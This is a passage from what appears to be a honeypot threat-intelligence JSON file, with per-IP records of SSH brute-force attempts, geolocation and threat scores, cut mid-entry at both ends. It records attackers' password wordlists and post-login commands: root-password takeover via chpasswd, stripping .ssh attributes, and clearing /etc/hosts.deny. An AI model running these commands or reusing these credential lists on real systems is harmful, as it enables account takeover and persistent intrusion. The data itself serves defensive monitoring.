        "hduser",
        "ks",
        "michele",
        "newuser",
        "omega",
        "roots",
        "srs",
        "ssl",
        "test01",
        "zhj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "password",
        "!b123456",
        "123",
        "1234qweR",
        "Bingo@1993",
        "Boom123!",
        "Ks123!",
        "P@ssw0rda",
        "Password.123",
        "Test01123!",
        "ZAQ!2wsx",
        "abcd1234..",
        "abdel",
        "ass",
        "cloud@123",
        "demo123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Boom123!\\nFC8h6xGMyLNV\\nFC8h6xGMyLNV\\n\"|passwd",
        "echo \"abdel\\npzkmBRooVDsi\\npzkmBRooVDsi\\n\"|passwd",
        "echo \"root:Jh8mPIkMNz6W\"|chpasswd|bash",
        "echo -e \"Boom123!\\nFC8h6xGMyLNV\\nFC8h6xGMyLNV\"|passwd|bash",
        "echo -e \"abdel\\npzkmBRooVDsi\\npzkmBRooVDsi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 411,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:19:47.736000+00:00",
        "last_seen_30d": "2026-03-26T07:57:19.811000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 75
      }
    },
    "190.129.122.185": {
      "attack_count": 330,
      "first_seen": "2026-03-11T20:30:31.064Z",
      "last_seen": "2026-03-23T19:34:36.548Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dspace",
        "mail",
        "paula",
        "usuario",
        "aj",
        "akdcodel",
        "anna",
        "anonymous",
        "beehive",
        "cvs",
        "dvlpr",
        "fujimaki",
        "gera",
        "greg",
        "huang",
        "joao",
        "ldbc",
        "melvin",
        "michael"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "password",
        "123",
        "12345678",
        "345gs5662d34",
        "admin",
        "123123",
        "1234567",
        "1qazxsw2",
        "ajaj",
        "anna123",
        "beehivepass",
        "dvlpr",
        "fujimaki",
        "ldbc",
        "melvinpass",
        "michael1234",
        "openvpn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nN9YvpJKkYlzA\\nN9YvpJKkYlzA\\n\"|passwd",
        "echo \"password\\nuldyWNPMrpWV\\nuldyWNPMrpWV\\n\"|passwd",
        "echo -e \"1234\\nN9YvpJKkYlzA\\nN9YvpJKkYlzA\"|passwd|bash",
        "echo -e \"password\\nuldyWNPMrpWV\\nuldyWNPMrpWV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 426,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T20:30:31.064000+00:00",
        "last_seen_30d": "2026-03-23T19:35:43.322000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 96
      }
    },
    "43.128.149.159": {
      "attack_count": 329,
      "first_seen": "2026-03-04T22:20:54.082Z",
      "last_seen": "2026-03-09T17:53:32.281Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "personal",
        "wm",
        "colin",
        "diego",
        "ec2-user",
        "family",
        "github-runner",
        "httpd",
        "jan",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!q2w3e4r",
        "123",
        "1234",
        "12345678",
        "1234567A",
        "1234@abcd",
        "Bingo@1993",
        "P@ssw0rd@2020",
        "Qa123456.",
        "Qaz12!@#",
        "Sss123456",
        "Super123!",
        "Xs123456",
        "aaaidc.com",
        "colin1234",
        "ec2-userpass",
        "family1234",
        "github-runnerpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\n1sPkmCtsuzR4\\n1sPkmCtsuzR4\\n\"|passwd",
        "echo \"root:xbB4ZMkhvjPG\"|chpasswd|bash",
        "echo \"wmpass\\nBMltijuUfDfn\\nBMltijuUfDfn\\n\"|passwd",
        "echo -e \"password\\n1sPkmCtsuzR4\\n1sPkmCtsuzR4\"|passwd|bash",
        "echo -e \"wmpass\\nBMltijuUfDfn\\nBMltijuUfDfn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:20:54.082000+00:00",
        "last_seen_30d": "2026-03-09T17:54:41.735000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 68
      }
    },
    "87.106.4.124": {
      "attack_count": 312,
      "first_seen": "2026-03-23T19:31:55.660Z",
      "last_seen": "2026-03-30T06:41:45.015Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "centos",
        "admin123",
        "asdf",
        "fan",
        "intel",
        "kernel",
        "mohamed",
        "saeed",
        "setup",
        "testing",
        "vagrant",
        "water",
        "zhangsan"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123asd,./",
        "541236987",
        "90909090",
        "92026191",
        "Asdf",
        "Fan123",
        "Jk123456.",
        "Passw0rd01!",
        "Quest@123",
        "Root-2025",
        "System123456",
        "apzoeiruty",
        "centoscentos",
        "inspur.com",
        "intel",
        "kernelpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"centoscentos\\np99uSVpmrpyu\\np99uSVpmrpyu\\n\"|passwd",
        "echo \"root:MKQOOAskWisE\"|chpasswd|bash",
        "echo -e \"centoscentos\\np99uSVpmrpyu\\np99uSVpmrpyu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T19:31:55.660000+00:00",
        "last_seen_30d": "2026-03-30T06:42:54.920000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 94
      }
    },
    "165.227.152.183": {
      "attack_count": 253,
      "first_seen": "2026-03-07T00:57:19.111Z",
      "last_seen": "2026-03-13T02:30:43.667Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdullah",
        "patrick",
        "admin",
        "bot",
        "claude",
        "client1",
        "ftpsecure",
        "hzy",
        "jessica",
        "marek",
        "mirror",
        "msf",
        "ray",
        "runner",
        "sami",
        "sandbox",
        "sysadm",
        "terraria"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "000",
        "1234",
        "12345",
        "123456",
        "12345678",
        "@qwer2025",
        "@qwer2026",
        "Abcd*1234",
        "Sandbox123!",
        "Terraria123!",
        "Web123!",
        "abdullah123",
        "bot123",
        "client1pass",
        "ftpsecure1234",
        "hzy",
        "jessica"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nflHG0f6NEWOY\\nflHG0f6NEWOY\\n\"|passwd",
        "echo \"abdullah123\\nEpYHGqpS2xZX\\nEpYHGqpS2xZX\\n\"|passwd",
        "echo -e \"12345678\\nflHG0f6NEWOY\\nflHG0f6NEWOY\"|passwd|bash",
        "echo -e \"abdullah123\\nEpYHGqpS2xZX\\nEpYHGqpS2xZX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:57:19.111000+00:00",
        "last_seen_30d": "2026-03-13T02:31:52.401000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 253,
        "Suricata": 62
      }
    },
    "50.6.193.137": {
      "attack_count": 247,
      "first_seen": "2026-03-04T01:11:07.417Z",
      "last_seen": "2026-03-12T19:38:14.801Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "html",
        "1p",
        "claude",
        "duyb",
        "geier",
        "jhon",
        "minecraft5",
        "nakai",
        "sshvpn",
        "user1",
        "vendas0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10101010",
        "1234567890",
        "1qaz2wsx3edc",
        "456789",
        "Aa@121212",
        "Aaa123123",
        "Admin!@#321",
        "Bingo@1993",
        "Google123",
        "Hello123!",
        "Master@2025",
        "claude1",
        "geier",
        "hb123456",
        "jhon",
        "minecraft5",
        "mynoob",
        "nakai"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nrstyBpvextuM\\nrstyBpvextuM\\n\"|passwd",
        "echo \"root:0wZNqdpgA9xg\"|chpasswd|bash",
        "echo -e \"password\\nrstyBpvextuM\\nrstyBpvextuM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T01:11:07.417000+00:00",
        "last_seen_30d": "2026-03-12T19:39:21.161000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 64
      }
    },
    "200.124.160.2": {
      "attack_count": 246,
      "first_seen": "2026-03-08T13:43:19.722Z",
      "last_seen": "2026-03-24T19:46:47.486Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautla",
      "asn": 265625,
      "as_org": "Jafica Telecomunicaciones",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3852,
        "days_active_30d": 23,
        "ports_targeted_30d": 767,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:33:21+00:00",
        "last_seen_30d": "2026-03-24T19:47:50.989000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1966,
        "Honeytrap": 1636,
        "Cowrie": 246,
        "Dionaea": 4
      }
    },
    "81.30.162.19": {
      "attack_count": 241,
      "first_seen": "2026-03-12T12:21:40.054Z",
      "last_seen": "2026-03-28T22:28:15.486Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test01",
        "adrian",
        "cc",
        "claude",
        "ftpuser2",
        "kocom",
        "leo",
        "lyt",
        "omega",
        "paid",
        "verdaccio"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1030",
        "12141214",
        "1234qwer`",
        "Crystal2024",
        "Rs123456.",
        "Test01123!",
        "accessme",
        "admin@123.com",
        "cc1234",
        "claude123",
        "ftpuser2123",
        "haohaoxuexi",
        "invade",
        "leo123!",
        "ll@123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lFUlTRz8jsOT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Vinnytsia",
      "asn": 24945,
      "as_org": "Telecommunication Company Vinteleport Ltd.",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:21:40.054000+00:00",
        "last_seen_30d": "2026-03-28T22:29:23.529000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 86
      }
    },
    "115.79.36.23": {
      "attack_count": 193,
      "first_seen": "2026-03-10T08:47:18.562Z",
      "last_seen": "2026-03-10T09:16:50.434Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "webapps",
        "alumno",
        "deployuser",
        "installer",
        "jun",
        "root",
        "telegram",
        "vpsuser",
        "www",
        "zw"
      ],
      "passwords_attempted": [
        "12345678",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Deployuser123",
        "asd1234567@",
        "jun1234",
        "password",
        "zwpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nNoXtUHibasan\\nNoXtUHibasan\\n\"|passwd",
        "echo \"123456\\ndYf6h3SMneZO\\ndYf6h3SMneZO\\n\"|passwd",
        "echo -e \"12345678\\nNoXtUHibasan\\nNoXtUHibasan\"|passwd|bash",
        "echo -e \"123456\\ndYf6h3SMneZO\\ndYf6h3SMneZO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:47:18.562000+00:00",
        "last_seen_30d": "2026-03-10T09:17:55.582000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "201.76.120.30": {
      "attack_count": 193,
      "first_seen": "2026-03-12T16:13:57.128Z",
      "last_seen": "2026-03-12T16:37:39.658Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cvs",
        "user",
        "zed",
        "andoh",
        "claude",
        "guest",
        "server",
        "sunyinqian",
        "vnc",
        "wu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "123654",
        "1qaz@WSX",
        "claude1",
        "cvs",
        "guest1",
        "manager",
        "sitonholy-2009",
        "syq@bii",
        "wu!@#",
        "zed"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cvs\\nxJACMRMLaUhY\\nxJACMRMLaUhY\\n\"|passwd",
        "echo \"zed\\nkolSDXtyPsGg\\nkolSDXtyPsGg\\n\"|passwd",
        "echo -e \"cvs\\nxJACMRMLaUhY\\nxJACMRMLaUhY\"|passwd|bash",
        "echo -e \"zed\\nkolSDXtyPsGg\\nkolSDXtyPsGg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Montenegro",
      "asn": 262794,
      "as_org": "VERO S.A",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:13:57.128000+00:00",
        "last_seen_30d": "2026-03-12T16:38:43.875000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "142.93.0.30": {
      "attack_count": 180,
      "first_seen": "2026-03-02T00:06:04.191Z",
      "last_seen": "2026-03-02T00:36:22.957Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "mysql",
        "nagios",
        "oracle",
        "server",
        "test",
        "testuser",
        "user",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "password",
        "test",
        "111111",
        "123456",
        "654321",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "mysql",
        "nagios",
        "oracle",
        "passwd",
        "postgres",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:06:04.191000+00:00",
        "last_seen_30d": "2026-03-02T00:37:25.457000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 77
      }
    },
    "103.20.122.54": {
      "attack_count": 144,
      "first_seen": "2026-03-22T08:39:33.837Z",
      "last_seen": "2026-03-22T09:14:41.844Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "gabriel",
        "345gs5662d34",
        "administrator",
        "alice",
        "angel",
        "ansadmin",
        "app",
        "backups",
        "demo",
        "fox",
        "init",
        "mongo",
        "sac",
        "test123",
        "test_user",
        "wildfly"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Angel",
        "Ansadmin123",
        "Init123",
        "Sac123",
        "Test_user123",
        "admin@123",
        "alicepassword",
        "app123",
        "demo@123456",
        "test123test123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nHija4ZXGFTcE\\nHija4ZXGFTcE\\n\"|passwd",
